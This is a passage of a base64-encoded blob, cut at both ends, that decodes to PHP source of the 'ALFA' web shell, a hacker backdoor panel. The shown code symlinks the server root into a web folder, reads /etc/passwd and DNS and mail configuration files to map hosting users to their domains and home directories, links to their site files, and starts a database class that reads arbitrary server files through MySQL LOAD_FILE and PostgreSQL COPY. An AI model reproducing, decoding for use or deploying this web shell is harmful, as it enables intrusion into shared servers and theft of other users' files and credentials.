YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9IkV4YW1wbGUgOiAvaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZy5waHAiIHNpemU9IjYwIi8+PGJyIC8+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IGFsZmEudHh0IiBzaXplPSI2MCIvPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0ic3ltbGluayIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CiRwYXRoID0gJF9QT1NUWydhbGZhNSddOwokc3ltbmFtZSA9ICRfUE9TVFsnYWxmYTYnXTsKJHNvbGV2aXNpYmxlNTggPSAkX1BPU1RbJ2FsZmE3J107CmlmKCRzb2xldmlzaWJsZTU4KXsKJG5ld19uYW1lID0gc3RyX3JlcGxhY2UoIi4iLCAiXyIsIGJhc2VuYW1lKCRzeW1uYW1lKSk7CiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsKJHN5bV9kaXIgPSAnYWxmYXN5bWxpbmtwaHAvJy4kcmFuZF9kaXIuJy8nOwpAbWtkaXIoJHN5bV9kaXIsIDA3NzcsIHRydWUpOwphbGZhY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7Cl9hbGZhX3N5bWxpbmsoIiRwYXRoIiwiJHN5bV9kaXIvJHN5bW5hbWUiKTsKZWNobyBfX3ByZSgpOwplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLl9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvIi4kc3ltX2Rpci4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc3ltbmFtZS4nPC9mb250PjwvYj48L2E+PC9iPjwvY2VudGVyPic7Cn0KfWVsc2V7ZWNobyAiPGNlbnRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7fQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0nc3ltcGhwJyl7CiRjYW50X3N5bWxpbmsgPSB0cnVlOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQoZmFsc2UsZmFsc2UpKXsKQG1rZGlyKCdhbGZhc3ltbGluaycsMDc3Nyk7CmFsZmFjZ2lodGFjY2Vzcygnc3ltJywnYWxmYXN5bWxpbmsvJyk7Cl9hbGZhX3N5bWxpbmsoJy8nLCdhbGZhc3ltbGluay9yb290Jyk7CiR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy9uYW1lZC5jb25mIikgJiYgIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikgJiYgX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMvIikpewplY2hvICI8Y2VudGVyPiI7CiRsaW5lcyA9IGFycmF5KCk7CiRhbm9ueV9kb21haW5zID0gYXJyYXkoKTsKJGFub255bW91c191c2VycyA9IGFycmF5KCk7CiRmX2JsYWNrID0gYXJyYXkoKTsKJGVycm9yID0gZmFsc2U7CiRhbm9ueW1vdXMgPSBmYWxzZTsKJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7CiRkb21haW5zID0gYWxmYUdldERvbWFpbnMoKTsKJGxpbmVzID0gJGRvbWFpbnNbImxpbmVzIl07CiRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOwokaXNfcG9zaXggPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKTsKJGNhbl9ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSk7CmlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsKCSRhbm9ueW1vdXMgPSB0cnVlOwoJJGFub255X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsKCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7Cn0KZWNobyAkdGFibGVfaGVhZGVyOwokY291bnQ9MTsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0ie2h0dHB9Ii8+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEEyMjA7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPntkb21haW59PC9iPiA8L2E+PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkZGRjttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e293bmVyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2FsZmFzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOwpmb3JlYWNoKCRsaW5lcyBhcyAkbGluZSl7CgkkZG9tYWluID0gIiI7Cgkkb3duZXIgPSAiIjsKCWlmKCRhbm9ueW1vdXMpewoJCSRleHBsb2RlID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKCQkkb3duZXIgPSAkZXhwbG9kZVswXTsKCQkkb3duZXJfbGVuID0gc3RybGVuKCRvd25lcikgLSAxOwoJCSR1c2VyaWQgPSAkZXhwbG9kZVsyXTsKCQlpZigoaW50KSR1c2VyaWQgPCA1MDApY29udGludWU7CgkJJGRvbWFpbiA9ICJbPz8/Pz9dIjsKCQkkdGVtcF9ibGFjayA9IGFycmF5KCk7CgkJJGZpbmRlZCA9IGZhbHNlOwoJCWZvcmVhY2goJGFub255X2RvbWFpbnMgYXMgJGFub255KXsKCQkJaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7CgkJCQlpZihAc3Ryc3RyKCRhbm9ueSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRhbm9ueSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCX1lbHNlewoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsKCQkJCWlmKCRhbm9ueSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7CgkJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkYW5vbnkgPSBydHJpbSgkYW5vbnksICIuZGIiKTsKCQkJCSRkb21haW4gPSAkYW5vbnk7CgkJCX0KCQkJJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQlpZihzdWJzdHIoJG93bmVyLCAwLCAkb3duZXJfbGVuKSA9PSBzdWJzdHIoJHN1Yl9kb21haW4sIDAsICRvd25lcl9sZW4pKXsKCQkJCWlmKGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7CgkJCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsKCQkJCSRjb3VudCsrOwoJCQkJJHRlbXBfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOwoJCQkJJGZpbmRlZCA9IHRydWU7CgkJCX0KCQl9CgkJaWYoISRmaW5kZWQpewoJCQkkYW5vbnltb3VzX3VzZXJzW10gPSAkb3duZXI7CgkJfQoJfWVsc2V7CiAJCWlmKCRzdGF0ZSA9PSAibmFtZWQuY29uZiIpewoJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsKCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQl9ZWxzZXsKCQkJCWNvbnRpbnVlOwoJCQl9CgkJfWVsc2VpZigkc3RhdGUgPT0gIm5hbWVkIiB8fCAkc3RhdGUgPT0gInZhbGlhc2VzIil7CgkJCWlmKCRsaW5lID09ICIuIiB8fCAkbGluZSA9PSAiLi4iKWNvbnRpbnVlOwoJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkbGluZSA9IHJ0cmltKCRsaW5lLCAiLmRiIik7CgkJCSRkb21haW4gPSAkbGluZTsKCQl9CgkJaWYoc3RybGVuKHRyaW0oJGRvbWFpbikpID4gMiAmJiAkc3RhdGUgIT0gInBhc3N3ZCIpewoJCQlpZighX2FsZmFfZmlsZV9leGlzdHMoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLCBmYWxzZSkpY29udGludWU7CgkJCWlmKCRpc19wb3NpeCl7CgkJCQkkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbikpOwoJCQkJJG93bmVyID0gJHVzZXJbIm5hbWUiXTsKCQkJfWVsc2VpZigkY2FuX3J1bmNtZCl7CgkJCQkkb3duZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbixmYWxzZSxmYWxzZSk7CgkJCX0KCQl9Cgl9CglpZighJGFub255bW91cyl7CgkJaWYoc3RybGVuKCRvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsKCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOwoJCWlmKCRzdGF0ZSA9PSAicGFzc3dkIil7CgkJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJfQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJCSRmX2JsYWNrW10gPSAkb3duZXIuJGRvbWFpbjsKCX0KfQppZigkYW5vbnltb3VzKXsKCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpewoJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOwoJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJfQp9CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfWVsc2V7CiRpc19kaXJlY3QgPSBmYWxzZTsKJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKCSRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbCI7CgkkaXNfZGlyZWN0ID0gdHJ1ZTsKfQokc29sZSA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKJGNvdW50PTE7CmVjaG8gJHRhYmxlX2hlYWRlcjsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy57dXJsfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXJsfTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1c2VyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2FsZmFzeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7CmlmKCRzb2xlKXsKCWZvcmVhY2goJHNvbGUgYXMgJHZpc2libGUpewoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7CgkJCSRzb2xldmlzaWJsZSA9IGV4cGxvZGUoJzonLCAkdmlzaWJsZSk7CgkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgdHJpbSgkc29sZXZpc2libGVbMV0pLCAkbWFrZXB3ZCk7CgkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsIntjd2R9IiksIGFycmF5KCRjb3VudCsrLCB0cmltKCRzb2xldmlzaWJsZVsxXSksIHRyaW0oJHNvbGV2aXNpYmxlWzBdKSwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJfQoJfQp9ZWxzZXsKCSRwYXNzd2QgPSBfYWxmYV9maWxlKCIvZXRjL3Bhc3N3ZCIpOwoJaWYoJHBhc3N3ZCl7CgkJJGh0bWwgPSAiIjsKCQkkaXNfbmFtZWQgPSBmYWxzZTsKCQkkdXNlcnMgPSBhcnJheSgpOwoJCSRkb21haW5zID0gYXJyYXkoKTsKCQkkdWtub3ducyA9IGFycmF5KCk7CgkJZm9yZWFjaCgkcGFzc3dkIGFzICR1c2VyKXsKCQkJJHVzZXIgPSB0cmltKCR1c2VyKTsKCQkJJGV4cGwgPSBleHBsb2RlKCI6IiwgJHVzZXIpOwoJCQlpZigoaW50KSRleHBsWzJdIDwgNTAwKWNvbnRpbnVlOwoJCQkkdXNlcnNbJGV4cGxbMF1dID0gJGV4cGxbNV07CgkJfQoJCSRzaXRlX2RvbWFpbnMgPSBAc2NhbmRpcigiL2V0Yy92aXJ0dWFsLyIpOwoJCWlmKCEkc2l0ZV9kb21haW5zKXsKCQkJJHNpdGVfZG9tYWlucyA9IGFsZmFFeCgibHMgL2V0Yy92aXJ0dWFsLyIpOwoJCQkkc2l0ZV9kb21haW5zID0gZXhwbG9kZSgiXG4iLCAkc2l0ZV9kb21haW5zKTsKCQkJaWYoISRzaXRlX2RvbWFpbnMpewoJCQkJJHNpdGVfZG9tYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQkJaWYoJHNpdGVfZG9tYWlucyl7JGlzX25hbWVkID0gdHJ1ZTt9CgkJCX0KCQl9CgkJZm9yZWFjaCgkc2l0ZV9kb21haW5zIGFzICRsaW5lKXsKCQkJaWYoJGlzX25hbWVkKXsKCQkJCWlmKEBzdHJzdHIoJGxpbmUsICd6b25lJykpewoJCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCQlpZihzdHJsZW4oJGRvbWFpbiAgPiAyKSAmJiAhZW1wdHkoJGRvbWFpbikpewoJCQkJCQkkZG9tYWluc1tdID0gJGRvbWFpbjsKCQkJCQl9CgkJCQl9CgkJCX1lbHNlewoJCQkJJGRvbWFpbnNbXSA9ICRsaW5lOwoJCQl9CgkJfQoJCSR4ID0gMTsKCQlmb3JlYWNoKCR1c2VycyBhcyAkdXNlciA9PiAkaG9tZSl7CgkJCWZvcmVhY2goJGRvbWFpbnMgYXMgJGRvbWFpbil7CgkJCQkkdXNlcl9sZW4gPSBzdHJsZW4oJHVzZXIpIC0gMTsKCQkJCSRzdWJfZG9tYWluID0gc3RyX3JlcGxhY2UoYXJyYXkoIi0iLCIuIiksICIiLCAkZG9tYWluKTsKCQkJCSRmaXZlX3VzZXIgPSBzdWJzdHIoJHVzZXIsIDAsJHVzZXJfbGVuKTsKCQkJCSRmaXZlX2RvbWFpbiA9IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwkdXNlcl9sZW4pOwoJCQkJaWYoJGZpdmVfdXNlciA9PSAkZml2ZV9kb21haW4pewoJCQkJCWlmKCRpc19kaXJlY3QpewoJCQkJCQkkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CgkJCQkJfWVsc2V7CgkJCQkJCSRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CgkJCQkJCSRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07CgkJCQkJfQoJCQkJCSRodG1sIC49IHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCAie2N3ZH0iKSwgYXJyYXkoJHgrKywgJHVzZXIsICRkb21haW4sICRjd2QpLCAkdGVtcGxhdGUpOwoJCQkJfWVsc2V7CgkJCQkJJHVrbm93bnNbJHVzZXJdID0gJGhvbWU7CgkJCQl9CgkJCX0KCQl9CgkJJHVrbm93bnMgPSBhcnJheV91bmlxdWUoJHVrbm93bnMpOwoJCWZvcmVhY2goJHVrbm93bnMgYXMgJHVzZXIgPT4gJGhvbWUpewoJCQlpZigkaXNfZGlyZWN0KXsKCQkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKCQkJfWVsc2V7CgkJCQkkZXhwbCA9IGV4cGxvZGUoIn0vIiwgJG1ha2Vwd2QpOwoJCQkJJGN3ZCA9ICRob21lLiIvIi4kZXhwbFsxXTsKCQkJfQoJCQkkaHRtbCAuPSBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsInt1c2VyfSIsInt1cmx9IiwgIntjd2R9IiksIGFycmF5KCR4KyssICR1c2VyLCAiWz8/Pz8/XSIsICRjd2QpLCAkdGVtcGxhdGUpOwoJCX0KCQllY2hvKCRodG1sKTsKCX0KfQplY2hvICI8L3RhYmxlPiI7CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQp9ZWxzZXsKCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIFN5bWxpbmsgRnVuY3Rpb24gRGlzYWJsZWQgITwvYj48L2ZvbnQ+PC9wcmU+PC9jZW50ZXI+IjsKCSRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQppZigkY2FudF9zeW1saW5rKWVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj48YnI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkVycm9yLi4uPC9mb250PjwvYj48YnI+JzsKZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOwp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhc3FsKCl7CmNsYXNzIERiQ2xhc3N7CnB1YmxpYyAkdHlwZTsKcHVibGljICRsaW5rOwpwdWJsaWMgJHJlczsKcHVibGljICRteXNxbGlfY29ubmVjdF9lcnJvciA9IGZhbHNlOwpwdWJsaWMgJG15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9ICIiOwpmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSl7CiR0aGlzLT50eXBlID0gJHR5cGU7Cn0KZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZigkdGhpcy0+bGluayA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcywkZGJuYW1lKSl7CglyZXR1cm4gdHJ1ZTsKfWVsc2V7CgkkdGhpcy0+bXlzcWxpX2Nvbm5lY3RfZXJyb3IgPSB0cnVlOwoJJHRoaXMtPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9IG15c3FsaV9jb25uZWN0X2Vycm9yKCk7CglyZXR1cm4gZmFsc2U7Cn0KYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwppZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CmlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZihAbXlzcWxpX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gcXVlcnkoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxpX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGZldGNoKCl7CiRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuIEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlcyk7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsaXN0RGJzKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsaXN0VGFibGVzKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBlcnJvcigpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CnJldHVybiBAbXlzcWxpX2Vycm9yKCR0aGlzLT5saW5rKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkKcmV0dXJuIEBteXNxbGlfc2V0X2NoYXJzZXQoJHRoaXMtPmxpbmssJHN0cik7CmVsc2UKJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gbG9hZEZpbGUoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgc29sZXZpc2libGUoZmlsZSB0ZXh0KTtDT1BZIHNvbGV2aXNpYmxlIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHNvbGV2aXNpYmxlOyIpOwokcj1hcnJheSgpOwp3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkKJHJbXSA9ICRpWydmaWxlJ107CiR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSBzb2xldmlzaWJsZScpOwpyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9Cn07CiRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsKYWxmYWhlYWQoKTsKJGZvcm1fdmlzaWJpbGl0eSA9ICJ0YWJsZSI7CmlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkp